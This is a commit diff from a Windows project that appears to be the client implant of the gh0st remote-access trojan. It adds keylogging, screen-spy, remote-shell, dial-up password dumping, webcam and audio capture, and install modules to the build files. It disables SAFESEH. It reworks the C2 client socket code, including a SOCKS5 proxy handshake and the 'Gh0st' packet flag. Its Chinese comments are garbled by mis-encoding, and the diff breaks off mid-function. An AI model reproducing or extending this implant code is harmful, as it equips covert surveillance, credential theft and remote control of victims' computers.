Compare commits

..

4 Commits

37 changed files with 878 additions and 281 deletions

Binary file not shown.

View File

@@ -89,14 +89,17 @@
<Optimization>Disabled</Optimization>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@@ -108,12 +111,14 @@
<PreprocessorDefinitions>_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -125,8 +130,10 @@
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -134,8 +141,8 @@
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -149,6 +156,7 @@
<PreprocessorDefinitions>NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -157,32 +165,116 @@
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="..\..\common\Audio.h" />
<ClInclude Include="ClientSocket.h" />
<ClInclude Include="common\AudioManager.h" />
<ClInclude Include="common\Buffer.h" />
<ClInclude Include="common\Dialupass.h" />
<ClInclude Include="common\filemanager.h" />
<ClInclude Include="common\install.h" />
<ClInclude Include="common\KernelManager.h" />
<ClInclude Include="common\KeyboardManager.h" />
<ClInclude Include="common\Manager.h" />
<ClInclude Include="common\RegEditEx.h" />
<ClInclude Include="common\ScreenManager.h" />
<ClInclude Include="common\ScreenSpy.h" />
<ClInclude Include="common\ShellManager.h" />
<ClInclude Include="common\SystemManager.h" />
<ClInclude Include="common\until.h" />
<ClInclude Include="common\VideoCap.h" />
<ClInclude Include="common\VideoManager.h" />
<ClInclude Include="DynamicAPI.h" />
<ClInclude Include="framework.h" />
<ClInclude Include="pch.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\common\Audio.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="ClientSocket.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\AudioManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\Buffer.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\Dialupass.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\FileManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">/Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">/Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<ClCompile Include="common\install.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\KernelManager.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\KeyboardManager.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\Manager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\RegEditEx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ScreenManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ScreenSpy.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ShellManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\SystemManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\until.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\VideoCap.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\VideoManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="dllmain.cpp" />
<ClCompile Include="pch.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>

View File

@@ -30,6 +30,54 @@
<ClInclude Include="ClientSocket.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\KernelManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\KeyboardManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegEditEx.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\Manager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\SystemManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\AudioManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="..\..\common\Audio.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\Dialupass.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\filemanager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ScreenManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ShellManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ScreenSpy.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\VideoManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\VideoCap.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="DynamicAPI.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\install.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
@@ -47,5 +95,50 @@
<ClCompile Include="common\until.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\KeyboardManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegEditEx.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\SystemManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\AudioManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\..\common\Audio.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\Dialupass.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\FileManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ScreenManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ShellManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ScreenSpy.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\VideoManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\VideoCap.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\install.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\KernelManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\Manager.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -2,7 +2,6 @@
//
//////////////////////////////////////////////////////////////////////
//#include "StdAfx.h"
#include "ClientSocket.h"
#include "../../common/zlib/zlib.h"
#include <process.h>
@@ -16,21 +15,21 @@
//////////////////////////////////////////////////////////////////////
int CClientSocket::m_nProxyType = PROXY_NONE;
char CClientSocket::m_strProxyHost[256] = {0};
char CClientSocket::m_strProxyHost[256] = { 0 };
UINT CClientSocket::m_nProxyPort = 1080;
char CClientSocket::m_strUserName[256] = {0};
char CClientSocket::m_strPassWord[256] = {0};
char CClientSocket::m_strUserName[256] = { 0 };
char CClientSocket::m_strPassWord[256] = { 0 };
CClientSocket::CClientSocket()
{
//---<2D><>ʼ<EFBFBD><CABC><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
//---<2D><>ʼ<EFBFBD><CABC><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
WSAStartup(MAKEWORD(2, 2), &wsaData);
m_hEvent = CreateEvent(NULL, true, false, NULL);
m_bIsRunning = false;
m_Socket = INVALID_SOCKET;
// Packet Flag;
BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'}; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
BYTE bPacketFlag[] = { 'G', 'h', '0', 's', 't' }; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
}
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -54,15 +53,15 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
Disconnect();
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD>
ResetEvent(m_hEvent);
m_bIsRunning = false;
m_bIsRunning = false;//<2F><><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
return false;
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (m_Socket == SOCKET_ERROR)
{
return false;
if (m_Socket == SOCKET_ERROR)
{
return false;
}
hostent* pHostent = NULL;
@@ -73,31 +72,31 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
if (pHostent == NULL)
return false;
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_family = AF_INET;
if (m_nProxyType != PROXY_NONE)
ClientAddr.sin_port = htons(m_nProxyPort);
ClientAddr.sin_port = htons(m_nProxyPort);
else
ClientAddr.sin_port = htons(nPort);
ClientAddr.sin_port = htons(nPort);
ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
return false;
// <20><><EFBFBD><EFBFBD>Nagle<6C><EFBFBD>󣬶Գ<F3A3ACB6><D4B3><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
// const char chOpt = 1;
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
// <20><><EFBFBD><EFBFBD>Nagle<6C><EFBFBD>󣬶Գ<F3A3ACB6><D4B3><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
// const char chOpt = 1;
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
// <20><>֤socks5<73><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><>֤socks5<73><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
{
return false;
}
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><C6A3>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
const char chOpt = 1; // True
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
@@ -108,8 +107,8 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
klive.keepalivetime = 1000 * 60 * 3; // 3<><33><EFBFBD>ӳ<EFBFBD>ʱ Keep Alive
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
WSAIoctl
(
m_Socket,
(
m_Socket,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
@@ -118,7 +117,7 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
(unsigned long *)&chOpt,
0,
NULL
);
);
}
m_bIsRunning = true;
@@ -132,100 +131,65 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
{
struct timeval tvSelect_Time_Out;
tvSelect_Time_Out.tv_sec = 3;
tvSelect_Time_Out.tv_usec = 0;
fd_set fdRead;
int nRet = SOCKET_ERROR;
struct timeval tvSelect_Time_Out;
tvSelect_Time_Out.tv_sec = 3;
tvSelect_Time_Out.tv_usec = 0;
fd_set fdRead;
int nRet = SOCKET_ERROR;
char buff[600];
struct socks5req1 m_proxyreq1;
m_proxyreq1.Ver = PROXY_SOCKS_VER5;
m_proxyreq1.nMethods = 2;
m_proxyreq1.Methods[0] = 0;
m_proxyreq1.Methods[1] = 2;
send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0);
struct socks5ans1 *m_proxyans1;
m_proxyans1 = (struct socks5ans1 *)buff;
memset(buff, 0, sizeof(buff));
char buff[600];
struct socks5req1 m_proxyreq1;
m_proxyreq1.Ver = PROXY_SOCKS_VER5;
m_proxyreq1.nMethods = 2;
m_proxyreq1.Methods[0] = 0;
m_proxyreq1.Methods[1] = 2;
send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0);
struct socks5ans1 *m_proxyans1;
m_proxyans1 = (struct socks5ans1 *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if(m_proxyans1->Ver != 5 || (m_proxyans1->Method !=0 && m_proxyans1->Method != 2))
{
closesocket(m_Socket);
return false;
}
if(m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
{
int nUserLen = strlen(m_strUserName);
int nPassLen = strlen(m_strPassWord);
struct authreq m_authreq;
memset(&m_authreq, 0, sizeof(m_authreq));
m_authreq.Ver = PROXY_SOCKS_VER5;
m_authreq.Ulen = nUserLen;
lstrcpy(m_authreq.NamePass, m_strUserName);
memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int));
lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord);
int len = 3 + nUserLen + nPassLen;
send(m_Socket, (char *)&m_authreq, len, 0);
struct authans *m_authans;
m_authans = (struct authans *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
recv(m_Socket, buff, sizeof(buff), 0);
if(m_authans->Ver != 5 || m_authans->Status != 0)
{
closesocket(m_Socket);
return false;
}
}
hostent* pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
struct socks5req2 m_proxyreq2;
m_proxyreq2.Ver = 5;
m_proxyreq2.Cmd = 1;
m_proxyreq2.Rsv = 0;
m_proxyreq2.Atyp = 1;
m_proxyreq2.IPAddr = * (ULONG*) pHostent->h_addr_list[0];
m_proxyreq2.Port = ntohs(nPort);
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
struct socks5ans2 *m_proxyans2;
m_proxyans2 = (struct socks5ans2 *)buff;
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if (m_proxyans1->Ver != 5 || (m_proxyans1->Method != 0 && m_proxyans1->Method != 2))
{
closesocket(m_Socket);
return false;
}
if (m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
{
int nUserLen = strlen(m_strUserName);
int nPassLen = strlen(m_strPassWord);
struct authreq m_authreq;
memset(&m_authreq, 0, sizeof(m_authreq));
m_authreq.Ver = PROXY_SOCKS_VER5;
m_authreq.Ulen = nUserLen;
lstrcpy(m_authreq.NamePass, m_strUserName);
memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int));
lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord);
int len = 3 + nUserLen + nPassLen;
send(m_Socket, (char *)&m_authreq, len, 0);
struct authans *m_authans;
m_authans = (struct authans *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
@@ -233,29 +197,65 @@ bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
}
recv(m_Socket, buff, sizeof(buff), 0);
if(m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
if (m_authans->Ver != 5 || m_authans->Status != 0)
{
closesocket(m_Socket);
return false;
}
}
return true;
hostent* pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
struct socks5req2 m_proxyreq2;
m_proxyreq2.Ver = 5;
m_proxyreq2.Cmd = 1;
m_proxyreq2.Rsv = 0;
m_proxyreq2.Atyp = 1;
m_proxyreq2.IPAddr = *(ULONG*)pHostent->h_addr_list[0];
m_proxyreq2.Port = ntohs(nPort);
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
struct socks5ans2 *m_proxyans2;
m_proxyans2 = (struct socks5ans2 *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if (m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
{
closesocket(m_Socket);
return false;
}
return true;
}
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
//<2F><><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>thisָ<73><D6B8>
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER];
char buff[MAX_RECV_BUFFER]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܳ<EFBFBD><DCB3>ȣ<EFBFBD><C8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD>˺Ϳ<CBBA><CDBF>ƶ˹<C6B6><CBB9>еİ<D0B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD>macros.h<><68>
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
while (pThis->IsRunning()) //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
